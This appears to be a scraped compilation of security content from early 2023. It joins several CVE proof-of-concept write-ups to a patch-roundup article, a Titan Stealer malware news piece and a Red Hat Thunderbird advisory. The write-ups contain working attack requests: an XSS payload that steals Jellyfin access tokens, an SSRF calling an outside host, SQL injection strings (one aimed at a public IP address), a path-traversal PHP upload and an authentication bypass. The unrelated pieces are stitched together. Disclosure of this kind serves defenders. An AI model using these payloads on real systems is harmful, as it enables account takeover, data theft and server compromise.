In Jellyfin 10.8.x through 10.8.3, the name of a collection is vulnerable to stored XSS. This allows an attacker to steal access tokens from the localStorage of the victim.

**usd-2022-0031 | Jellyfin 10.8.1 - Cross-Site Scripting**

**Advisory ID:** usd-2022-0031  
**Product:** Jellyfin  
**Affected Version:** 10.8.1  
**Vulnerability Type:** CWE-79  
**Security Risk:** Critical  
**Vendor URL:** https://jellyfin.org  
**Vendor Status:** fixed  
**CVE number:** CVE-2023-23635

**Description**

A stored XSS in Jellyfin 10.8.1 allows an remote attacker to inject JavaScript into the name of a collection to perform a Cross-Site Scripting (XSS) attack.  
Because session tokens are stored in the localStorage, the attacker can extract them via javascript.

**Proof of Concept**

The following screenshot shows how an attacker can create a malicious collection.

  
The injected JavaScript code is executed in the user's browser, if a user (e.g. admin) visits the _collections_ page.

  
If you want to do some more interesting stuff with this vulnerability like taking over the admin account, you can use the following payload to read the access tokens from the localStorage.

"><img src=/X onerror=alert(localStorage.getItem("jellyfin\_credentials"))>

Getting the access token and device id allows you to rebuild the request for the _Quick Connect_ Feature.

This feature allows users to login using a PIN. The following request sets a PIN.

POST /QuickConnect/Authorize?Code=111111 HTTP/1.1  
Host: localhost:8096  
User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:102.0) Gecko/20100101 Firefox/102.0  
Accept: \*/\*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
X-Emby-Authorization: MediaBrowser Client="Jellyfin Web", Device="Firefox", DeviceId="TW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjoxMDAuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDAuMHwxNjU2NzU0NTEwMjcz", Version="10.8.1", Token="7bd97aae0924484884d7d13a74e9517c"  
Origin: \[http://localhost:8096\]()  
Sec-Fetch-Dest: empty  
Sec-Fetch-Mode: cors  
Sec-Fetch-Site: same-origin  
Connection: close  
Cookie: sfcsrftoken=S82egH1Csl8FsxnMPQ6NGzXCWL3tiI8tNUvfsNyXnAVoGGthaUjsjrWesdhvu9Gc  
Content-Length: 0

**Fix**

It is recommended to treat all input on the website as potentially dangerous.  
Hence, all output that is dynamically generated based on user-controlled data should be encoded according to its context.  
The majority of programming languages support standard procedures for encoding meta characters.

**References**

*   https://owasp.org/www-community/attacks/xss/
*   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-23635 

**Timeline**

*   **2022-07-18**: First contact request via security@jellyfin.org
*   **2022-08-02**: Vulnerability details submitted
*   **2022-08-16**: Fixed by Vendor
*   **2023-01-16:** Requested CVE assigned
*   **2023-01-19**: The advisory is published

**Credits**

This security vulnerability was found by Christian Pöschl of usd AG.

CVE-2023-23635: Security Advisory usd- 2022-0031 | usd HeroLab

maccms10 2021.1000.2000 is vulnerable to Server-side request forgery (SSRF).

#CVE-2022-47872

maccms10 admin+ ssrf attacks

Overview

Manufacturer's website information：https://maccms.pro

Source code download address ： https://github.com/maccmspro/maccms10.git

Affected version: V2021.1000.2000

2.Vulnerability details

maccmspro/maccms10#22

Enter the background, click Collect --> Custom interface --> Interface address,

In the name box into payload1:http://7ca8e96e.dns.1433.eu.org.

It can cause ssrf attacks.

Vulnerability name：ssrf attacks

Vulnerability level：Medium risk

Vulnerability location： click Collect --> Custom interface --> Interface address

3.Recurring vulnerabilities and

POST http://192.168.52.163/admin.php/admin/collect/info.html HTTP/1.1

Host: 192.168.52.163

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:106.0) Gecko/20100101 Firefox/106.0

Accept: _/_

AcceptLanguage: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding:gzip,deflate

Content-Type: applicat ion/ x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 226

Origin: http://192.168.52.163

Connection: close

Referer: http://192.168.52.163/admin.php/admin/collect/info.html

Cookie: PHPSESSID=gn328q2i2ruajsh96qoll65ia7

collect\_id=&_token_\=8d639020c85bde89f9276381d2460046&collect\_name=1111&collect\_url=http%3A%2F%2F7ca8e96e.dns.1433.eu.org.&collect\_param=%26q%3D1&collect\_type=1&collect\_mid=1&collect\_opt=Ø&collect\_filter=0&collect\_filter\_from=

CVE-2022-47872: CVE-2022-47872/README.md at main · Cedric1314/CVE-2022-47872

EQ v1.5.31 to v2.2.0 was discovered to contain a SQL injection vulnerability via the UserPwd parameter.

**EQ**

Exploit Title:EQ企业管理系统

Version:EQ v1.5.31 to v2.2.0

Date:December 5, 2022

Exploit Author:TLF

analysis report: EQ企业管理系统 v1.5.31 to v2.2.0 was discovered to contain a SQL injection

poc

POST /Account/Login HTTP/1.1

Host: 121.8.146.131

User-Agent: Mozilla/5.0 (X11; Linux x86\_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: application/json, text/javascript, /; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

X-Requested-With: XMLHttpRequest

Content-Length: 61

Origin: http://121.8.146.131

Connection: close

Referer: http://121.8.146.131/Account/Login

Cookie: ASP.NET\_SessionId=v2svw4yucv1wxfah1zvwsyxy

UserNumber=admin';WAITFOR DELAY '0:0:5'--&UserPwd=123456&ServerDB=EQ&RememberPwd=false&UserPwd=123456&ServerDB=EQ&RememberPwd=false

Patches:None

CVE-2022-45297: GitHub - tlfyyds/EQ

i-librarian 4.10 is vulnerable to Arbitrary file upload in ajaxsupplement.php.

**Summary**

The $\_POST\['filename'\] is not filtered so that the php suffix file can be uploaded across directories.

**Detail**

Using the replace PDF function, an attacker can upload a file with php as the suffix and %PDF as the beginning of file content to any directory by controlling the filename parameter.

    if (in_array($file_extension, array('doc', 'docx', 'vsd', 'xls', 'xlsx', 'ppt', 'pptx', 'odt', 'ods', 'odp')))
    ...
    ...
    else
    move_uploaded_file($_FILES['form_new_file']['tmp_name'], IL_TEMP_PATH . DIRECTORY_SEPARATOR . 'lib_' . session_id() . DIRECTORY_SEPARATOR . $_POST['filename']);
    

**POC**

like this

    POST /ajaxsupplement.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------36332819052109193833351732483
    Content-Length: 981
    Origin: http://127.0.0.1
    DNT: 1
    Connection: close
    Referer: http://127.0.0.1/index2.php
    Cookie: PHPSESSID=i7l1jt5cp8bbgt41p888aii2r7
    Sec-Fetch-Dest: empty
    Sec-Fetch-Mode: cors
    Sec-Fetch-Site: same-origin
    
    -----------------------------36332819052109193833351732483
    Content-Disposition: form-data; name="file"
    
    1
    -----------------------------36332819052109193833351732483
    Content-Disposition: form-data; name="filename"
    
    ../../z.php
    -----------------------------36332819052109193833351732483
    Content-Disposition: form-data; name="form_new_file"; filename="1.php"
    Content-Type: application/pdf
    
    %PDF
    <?php phpinfo();?>
    -----------------------------36332819052109193833351732483
    Content-Disposition: form-data; name="form_new_file_link"
    
    
    -----------------------------36332819052109193833351732483
    Content-Disposition: form-data; name="form_graphical_abstract"
    
    
    -----------------------------36332819052109193833351732483
    Content-Disposition: form-data; name="form_supplementary_file[]"
    
    
    -----------------------------36332819052109193833351732483
    Content-Disposition: form-data; name="proxystr"
    
    
    -----------------------------36332819052109193833351732483--

CVE-2022-47854: Arbitrary file upload in ajaxsupplement.php · Issue #155 · mkucej/i-librarian

Westbrookadmin portfolioCMS v1.05 allows attackers to bypass password validation and access sensitive information via session fixation.

allows an attacker to use GETS method to request /admin page to bypass the password validation and access management page.

GET /portfolioCMS-master/admin/setup.php HTTP/1.1  
Host: 172.16.100.15  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,_/_;q=0.8  
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2  
Accept-Encoding: gzip, deflate  
Connection: keep-alive  
Refere:http://172.16.100.15/portfolioCMS-master/admin/  
Cookie: admin-menu=%7B%220%22%3A1%2C%221%22%3A1%2C%222%22%3A1%7D; admin\_username=admin; PHPSESSID=u25c0656jai48kjhvo27kl2loq  
Upgrade-Insecure-Requests: 1

CVE-2020-20402: allows an attacker to use GETS method to request /admin page to bypass the password validation and access management page. · Issue #2 · Westbrookadmin/portfolioCMS

January saw a slew of security patches for iOS, Chrome, Windows, and more.

The Android security patch is available to Google’s Pixel devices, which have their own specific updates, and Samsung’s Galaxy range, including Samsung Galaxy Note 10, Galaxy S21, and Galaxy A73. You can check for the update in your settings.

Microsoft Patch Tuesday

Microsoft fixed a rather hefty 98 security issues in its first Patch Tuesday of the year, including an already exploited vulnerability: CVE-2023-21674 is an elevation of privilege flaw impacting the Windows Advanced Local Procedure Call that could lead to browser sandbox escape. 

By exploiting the bug, an adversary could gain System privileges, Microsoft wrote, confirming that the flaw has been detected in real-life attacks.

Another elevation of privilege vulnerability in the Windows Credential Manager User Interface, CVE-2023-21726, is relatively easy to exploit and doesn’t require any interaction from the user.

January’s Patch Tuesday also saw Microsoft fix nine Windows Kernel vulnerabilities, eight of which are elevation of privilege issues and one information disclosure vulnerability.

Mozilla Firefox

Software firm Mozilla has released important updates for its Firefox browser, the most serious of which have been the subject of a warning by the US Cybersecurity and Infrastructure Security Agency (CISA). 

Among the 11 flaws fixed in Firefox 109 are four rated as having a high impact, including CVE-2023-23597, a logic bug in process allocation that could allow adversaries to read arbitrary files. Meanwhile, Mozilla said its security team found memory safety bugs in Firefox 108. “Some of these bugs showed evidence of memory corruption and we presume that with enough effort, some could have been exploited to run arbitrary code,” it wrote.

An attacker could exploit some of these vulnerabilities to take control of an affected system, CISA said in its advisory. “CISA encourages users and administrators to review Mozilla’s security advisories for Firefox ESR 102.7 and Firefox 109 for more information and apply the necessary updates.”

VMWare

Enterprise software maker VMWare has published a security advisory detailing four flaws affecting its VMware vRealize Log Insight product. Tracked as CVE-2022-31706, the first is a directory traversal vulnerability with a CVSSv3 base score of 9.8. By exploiting the flaw, an unauthenticated, malicious actor could inject files into the operating system of an impacted appliance, resulting in RCE, VMWare says.

Meanwhile, a broken access control RCE vulnerability tracked as CVE-2022-31704 also has a CVCCv3 base score of 9.8. It goes without saying that those impacted by these vulnerabilities should patch as soon as possible.

Oracle

Software giant Oracle has released patches for a whopping 327 security vulnerabilities, 70 of which are rated as having a critical impact. Worryingly, 200 of the issues patched in January can be exploited by a remote unauthenticated attacker.

Oracle is recommending that people update their systems as soon as possible, warning that it has received reports of “attempts to maliciously exploit vulnerabilities for which Oracle has already released security patches.”

In some instances, it has been reported that attackers have been successful because targeted customers had failed to apply available Oracle patches, it says.

SAP

SAP’s January Patch Day has seen the release of 12 new and updated security notes. With a CVSS score of 9.0, CVE-2023-0014 is rated as the most severe bug by security firm Onapsis. The flaw affects the majority of all SAP customers and its mitigation is a challenge, Onapsis says. 

The capture-replay vulnerability is a risk because it could allow malicious users to obtain access to an SAP system. “Complete patching of the vulnerability includes applying a kernel patch, an ABAP patch, and a manual migration of all trusted RFC and HTTP destinations,” Onapsis explains.

You Really Need to Update Firefox and Android Right Now

A new Golang-based information stealer malware dubbed Titan Stealer is being advertised by threat actors through their Telegram channel.
"The stealer is capable of stealing a variety of information from infected Windows machines, including credential data from browsers and crypto wallets, FTP client details, screenshots, system information, and grabbed files," Uptycs security researchers

Threat Detection / Malware

A new Golang-based information stealer malware dubbed **Titan Stealer** is being advertised by threat actors through their Telegram channel.

"The stealer is capable of stealing a variety of information from infected Windows machines, including credential data from browsers and crypto wallets, FTP client details, screenshots, system information, and grabbed files," Uptycs security researchers Karthickkumar Kathiresan and Shilpesh Trivedi said in a recent report.

Details of the malware were first documented by cybersecurity researcher Will Thomas (@BushidoToken) in November 2022 by querying the IoT search engine Shodan.

Titan is offered as a builder, enabling customers to customize the malware binary to include specific functionalities and the kind of information to be exfiltrated from a victim's machine.

The malware, upon execution, employs a technique known as process hollowing to inject the malicious payload into the memory of a legitimate process known as AppLaunch.exe, which is the Microsoft .NET ClickOnce Launch Utility.

Some of the major web browsers targeted by Titan Stealer include Google Chrome, Mozilla Firefox, Microsoft Edge, Yandex, Opera, Brave, Vivaldi, 7 Star Browser, Iridium Browser, and others. The crypto wallets singled out are Armory, Armory, Bytecoin, Coinomi, Edge Wallet, Ethereum, Exodus, Guarda, Jaxx Liberty, and Zcash.

It's also capable of gathering the list of installed applications on the compromised host and capturing data associated with the Telegram desktop app.

The amassed information is subsequently transmitted to a remote server under the attacker's control as a Base64-encoded archive file. Furthermore, the malware comes with a web panel that enables adversaries to access the stolen data.

The exact modus operandi used to distribute the malware is unclear as yet, but traditionally threat actors have leveraged a number of methods, such as phishing, malicious ads, and cracked software.

"One of the primary reasons \[threat actors\] may be using Golang for their information stealer malware is because it allows them to easily create cross-platform malware that can run on multiple operating systems, such as Windows, Linux, and macOS," Cyble said in its own analysis of Titan Stealer.

"Additionally, the Go compiled binary files are small in size, making them more difficult to detect by security software."

The development arrives a little over two months after SEKOIA detailed another Go-based malware referred to as Aurora Stealer that's being put to use by several criminal actors in their campaigns.

The malware is typically propagated via lookalike websites of popular software, with the same domains actively updated to host trojanized versions of different applications.

It has also been observed taking advantage of a method known as padding to artificially inflate the size of the executables to as much as 260MB by adding random data so as to evade detection by antivirus software.

The findings come close on the heels of a malware campaign that has been observed delivering Raccoon and Vidar using hundreds of fake websites masquerading as legitimate software and games.

Team Cymru, in an analysis published earlier this month, noted that "Vidar operators have split their infrastructure into two parts; one dedicated to their regular customers and the other for the management team, and also potentially premium / important users."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Titan Stealer: A New Golang-Based Information Stealer Malware Emerges

Today, Talos is publishing a glimpse into the most prevalent threats we've observed between Jan. 20 and Jan. 27. As with previous roundups, this post isn't meant to be an in-depth analysis. Instead, this post will summarize the threats we've observed by highlighting key

Threat Round up for January 20 to January 27

Red Hat Security Advisory 2023-0476-01 - Mozilla Thunderbird is a standalone mail and newsgroup client. This update upgrades Thunderbird to version 102.7.1. Issues addressed include a bypass vulnerability.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA256

=====================================================================  
                   Red Hat Security Advisory

Synopsis:          Important: thunderbird security update  
Advisory ID:       RHSA-2023:0476-01  
Product:           Red Hat Enterprise Linux  
Advisory URL:      https://access.redhat.com/errata/RHSA-2023:0476  
Issue date:        2023-01-26  
CVE Names:         CVE-2022-46871 CVE-2022-46877 CVE-2023-23598   
                   CVE-2023-23599 CVE-2023-23601 CVE-2023-23602   
                   CVE-2023-23603 CVE-2023-23605   
=====================================================================

1. Summary:

An update for thunderbird is now available for Red Hat Enterprise Linux 9.

Red Hat Product Security has rated this update as having a security impact  
of Important. A Common Vulnerability Scoring System (CVSS) base score,  
which gives a detailed severity rating, is available for each vulnerability  
from the CVE link(s) in the References section.

2. Relevant releases/architectures:

Red Hat Enterprise Linux AppStream (v. 9) - aarch64, ppc64le, s390x, x86_64

3. Description:

Mozilla Thunderbird is a standalone mail and newsgroup client.

This update upgrades Thunderbird to version 102.7.1.

Security Fix(es):

* Mozilla: libusrsctp library out of date (CVE-2022-46871)

* Mozilla: Arbitrary file read from GTK drag and drop on Linux  
(CVE-2023-23598)

* Mozilla: Memory safety bugs fixed in Firefox 109 and Firefox ESR 102.7  
(CVE-2023-23605)

* Mozilla: Malicious command could be hidden in devtools output  
(CVE-2023-23599)

* Mozilla: URL being dragged from cross-origin iframe into same tab  
triggers navigation (CVE-2023-23601)

* Mozilla: Content Security Policy wasn't being correctly applied to  
WebSockets in WebWorkers (CVE-2023-23602)

* Mozilla: Fullscreen notification bypass (CVE-2022-46877)

* Mozilla: Calls to <code>console.log</code> allowed bypasing Content  
Security Policy via format directive (CVE-2023-23603)

For more details about the security issue(s), including the impact, a CVSS  
score, acknowledgments, and other related information, refer to the CVE  
page(s) listed in the References section.

4. Solution:

For details on how to apply this update, which includes the changes  
described in this advisory, refer to:

https://access.redhat.com/articles/11258

All running instances of Thunderbird must be restarted for the update to  
take effect.

5. Bugs fixed (https://bugzilla.redhat.com/):

2162336 - CVE-2022-46871 Mozilla: libusrsctp library out of date  
2162338 - CVE-2023-23598 Mozilla: Arbitrary file read from GTK drag and drop on Linux  
2162339 - CVE-2023-23599 Mozilla: Malicious command could be hidden in devtools output  
2162340 - CVE-2023-23601 Mozilla: URL being dragged from cross-origin iframe into same tab triggers navigation  
2162341 - CVE-2023-23602 Mozilla: Content Security Policy wasn't being correctly applied to WebSockets in WebWorkers  
2162342 - CVE-2022-46877 Mozilla: Fullscreen notification bypass  
2162343 - CVE-2023-23603 Mozilla: Calls to <code>console.log</code> allowed bypasing Content Security Policy via format directive  
2162344 - CVE-2023-23605 Mozilla: Memory safety bugs fixed in Firefox 109 and Firefox ESR 102.7

6. Package List:

Red Hat Enterprise Linux AppStream (v. 9):

Source:  
thunderbird-102.7.1-1.el9_1.src.rpm

aarch64:  
thunderbird-102.7.1-1.el9_1.aarch64.rpm  
thunderbird-debuginfo-102.7.1-1.el9_1.aarch64.rpm  
thunderbird-debugsource-102.7.1-1.el9_1.aarch64.rpm

ppc64le:  
thunderbird-102.7.1-1.el9_1.ppc64le.rpm  
thunderbird-debuginfo-102.7.1-1.el9_1.ppc64le.rpm  
thunderbird-debugsource-102.7.1-1.el9_1.ppc64le.rpm

s390x:  
thunderbird-102.7.1-1.el9_1.s390x.rpm  
thunderbird-debuginfo-102.7.1-1.el9_1.s390x.rpm  
thunderbird-debugsource-102.7.1-1.el9_1.s390x.rpm

x86_64:  
thunderbird-102.7.1-1.el9_1.x86_64.rpm  
thunderbird-debuginfo-102.7.1-1.el9_1.x86_64.rpm  
thunderbird-debugsource-102.7.1-1.el9_1.x86_64.rpm

These packages are GPG signed by Red Hat for security.  Our key and  
details on how to verify the signature are available from  
https://access.redhat.com/security/team/key/

7. References:

https://access.redhat.com/security/cve/CVE-2022-46871  
https://access.redhat.com/security/cve/CVE-2022-46877  
https://access.redhat.com/security/cve/CVE-2023-23598  
https://access.redhat.com/security/cve/CVE-2023-23599  
https://access.redhat.com/security/cve/CVE-2023-23601  
https://access.redhat.com/security/cve/CVE-2023-23602  
https://access.redhat.com/security/cve/CVE-2023-23603  
https://access.redhat.com/security/cve/CVE-2023-23605  
https://access.redhat.com/security/updates/classification/#important

8. Contact:

The Red Hat security contact is <secalert@redhat.com>. More contact  
details at https://access.redhat.com/security/team/contact/

Copyright 2023 Red Hat, Inc.  
-----BEGIN PGP SIGNATURE-----  
Version: GnuPG v1

iQIVAwUBY9L//dzjgjWX9erEAQh2Ag//Z+GUFhiFqY66raAqH14e824fGrVsTUgT  
JAwhqw8/ku5/JGsOC9WRdXpSPXPH9TrR1c0d2wZqB574eGxYJf2tNJFZCaq5YaGo  
KkBnR35OQA2aXmAB8jaRrsaYkL/MjJyQbbg6EnI/ho8d+f2CDLQvyCOkf95FTdop  
jWPGv/99d7x0nIfJzqlCSJzTH8W5yx+dhpRu1R5Y3D6RrrQ2wL+0C6aa4CRjq75M  
acvpva3zgXdqy7vztBQoXO4j2Ov8WOGkSd5mLhVKbTxjikcBn0krKMOOodz4Zwil  
LdCZ99dFs97g65Feb+8R+KT5WhFlG+rBQjtmYGTIweNDphzEgAiKMOVN8IARLxEs  
QxoceVv13CIU6aW5jVSb4wDxt3hdRA6OGwHod+veoTc25A/dqGMf/CXkPsXNG0so  
z+eV4QfxVqywifLqEyFBaq0ySM1aRY6EAbzVfBW+UzwW7SoqyKxzFoMgsoxlrtiQ  
ID5y2c14Rd/TEPZaQhRtzAAUL85cFYhT7Kjg71pnk9s0YdLOpZzkhjc9k5leQe+v  
v/woJfMmV/f/lt2dm0NW1broHmzSEnJ/SWzEjBzBggu0cHodyn4pWZnVixO4cIRT  
4YeDncrfkN7GihXPa7UjIJuCclYBgZHRLCGDqjgD0Gbh4gobTheD0py0byYUsqGO  
pswTQTOkxDY=  
=PlBp  
-----END PGP SIGNATURE-----  
--  
RHSA-announce mailing list  
RHSA-announce@redhat.com  
https://listman.redhat.com/mailman/listinfo/rhsa-announce

Red Hat Security Advisory 2023-0476-01

A vulnerability classified as critical was found in SourceCodester Online Tours & Travels Management System 1.0. Affected by this vulnerability is an unknown functionality of the file admin/disapprove_user.php. The manipulation of the argument id leads to sql injection. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-219601 was assigned to this vulnerability.

GET /otmsp/admin/disapprove\_user.php?id=1' AND GTID\_SUBSET(CONCAT('~',(SELECT DATABASE()),'~'),6055) AND 'uYsm'\='uYsm HTTP/1.1
Host: 192.168.1.12
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8
Accept\-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept\-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID\=bi87aa4ksm22phibq5cdbmgce2
Upgrade\-Insecure\-Requests: 1

Tag

#firefox